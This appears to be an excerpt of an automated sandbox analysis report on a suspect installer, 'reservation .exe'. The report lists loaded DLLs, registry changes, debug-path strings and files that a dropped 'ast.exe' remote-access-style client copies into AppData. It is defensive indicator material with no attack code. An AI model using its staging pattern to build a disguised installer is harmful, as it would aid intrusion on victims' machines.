Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: quartz.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: colorui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: compstui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: inetres.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: quartz.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: colorui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: compstui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: inetres.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: sxs.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\xcopy.exe

File written: C:\Users\user\AppData\Roaming\fat\config.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: reservation .exe

Static file information: File size 7988632 > 1048576

Source: reservation .exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: vcruntime140.i386.pdb source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000002.2726589967.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3337890732.000000006E0D1000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: vcruntime140.i386.pdbGCTL source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000002.2726589967.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3337890732.000000006E0D1000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libcrypto-1_1.pdb source: xcopy.exe, 00000008.00000003.2456715536.00000000030E6000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3329265043.000000006BC70000.00000002.00000001.01000000.00000014.sdmp, is-RFQHO.tmp.4.dr
Source:	Binary string: vcomp140.i386.pdbGCTL source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\CFILES\Projects\WinSSL\openssl-1.1.0g\libcrypto-1_1.pdb source: xcopy.exe, 00000008.00000003.2457697380.000000000310F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdbe source: xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3337086726.000000006C923000.00000002.00000001.01000000.0000000F.sdmp, is-8MMT6.tmp.4.dr
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\libeay32.pdb source: xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb@W source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdb source: xcopy.exe, 00000008.00000003.2455429869.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3331797852.000000006C0DF000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdb source: xcopy.exe, 00000008.00000003.2455975979.0000000003106000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3334659818.000000006C392000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb@@ source: xcopy.exe, 00000008.00000003.2459594021.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3336200986.000000006C701000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: vcomp140.i386.pdb source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdbf source: xcopy.exe, 00000008.00000003.2455975979.0000000003106000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3334659818.000000006C392000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb source: xcopy.exe, 00000008.00000003.2459594021.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3336200986.000000006C701000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: ast.exe, 0000000A.00000002.3329265043.000000006BC07000.00000002.00000001.01000000.00000014.sdmp, is-RFQHO.tmp.4.dr
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdb source: xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3337086726.000000006C923000.00000002.00000001.01000000.0000000F.sdmp, is-8MMT6.tmp.4.dr
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdbM6 source: xcopy.exe, 00000008.00000003.2455429869.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3331797852.000000006C0DF000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASMOpenSSL 1.1.1l 24 Aug 2021built on: Tue Sep 7 07:24:19 2021 UTCplatform: VC-WIN32OPENSSLDIR: "C:\Program Files (x86)\Common Files\SSL"ENGINESDIR: "C:\Program Files (x86)\OpenSSL\lib\engines-1_1"not availabledes(long) source: ast.exe, 0000000A.00000002.3329265043.000000006BC07000.00000002.00000001.01000000.00000014.sdmp, is-RFQHO.tmp.4.dr

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Code function: 10_2_6B6FAE50 WSAStartup,WSACleanup,GetModuleHandleA,GetProcAddress,_strpbrk,LoadLibraryA,GetProcAddress,GetSystemDirectoryA,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,if_nametoindex,QueryPerformanceFrequency,

10_2_6B6FAE50

Source: reservation .exe	Static PE information: section name: .didata
Source: reservation .tmp.0.dr	Static PE information: section name: .didata
Source: reservation .tmp.3.dr	Static PE information: section name: .didata
Source: is-MGO66.tmp.4.dr	Static PE information: section name: .rodata
Source: is-BI7PN.tmp.4.dr	Static PE information: section name: .textbss
Source: is-BI7PN.tmp.4.dr	Static PE information: section name: .msvcjmc
Source: is-BI7PN.tmp.4.dr	Static PE information: section name: .00cfg
Source: is-RFQHO.tmp.4.dr	Static PE information: section name: .00cfg
Source: is-SJ8AI.tmp.4.dr	Static PE information: section name: .00cfg
Source: is-PO10S.tmp.4.dr	Static PE information: section name: .code
Source: quartz.dll.8.dr	Static PE information: section name: .code
Source: astrct.dll.8.dr	Static PE information: section name: .rodata
Source: hatls.dll.8.dr	Static PE information: section name: .textbss
Source: hatls.dll.8.dr	Static PE information: section name: .msvcjmc
Source: hatls.dll.8.dr	Static PE information: section name: .00cfg
Source: libcrypto-1_1.dll.8.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.8.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Code function: 10_2_6B729F78 push ecx; ret

10_2_6B729F76

Source: is-PDQGE.tmp.4.dr	Static PE information: section name: .text entropy: 6.95576372950548
Source: msvcr120.dll.8.dr	Static PE information: section name: .text entropy: 6.95576372950548

Source: C:\Users\user\Desktop\reservation .exe	File created: \reservation .exe
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	File created: \reservation .tmp
Source: C:\Users\user\Desktop\reservation .exe	File created: \reservation .exe
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: \reservation .tmp
Source: C:\Users\user\Desktop\reservation .exe	File created: \reservation .exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	File created: \reservation .tmp	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	File created: \reservation .exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: \reservation .tmp	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\is-I3C98.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\opus.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\astrct.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\libcrypto-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\libjpeg-turbo-win.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\quartz.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-PDQGE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-8MMT6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-SJ8AI.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\reservation .exe	File created: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\AstCrp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\astclient.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\AstCrp.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-BI7PN.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\libcryptoMD.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-HE32K.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\aw_sas32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\libcryptoMD.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\hatls.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-K402A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\hatls.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-RFQHO.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\libeay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\msvcr120.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-BFIN6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-9MCCS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\astclient.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-SSL54.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-26KIS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\ast.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-PO10S.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\libjpeg-turbo-win.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\aw_sas32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\quartz.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\msvcr120.dll (copy)	Jump to dropped file
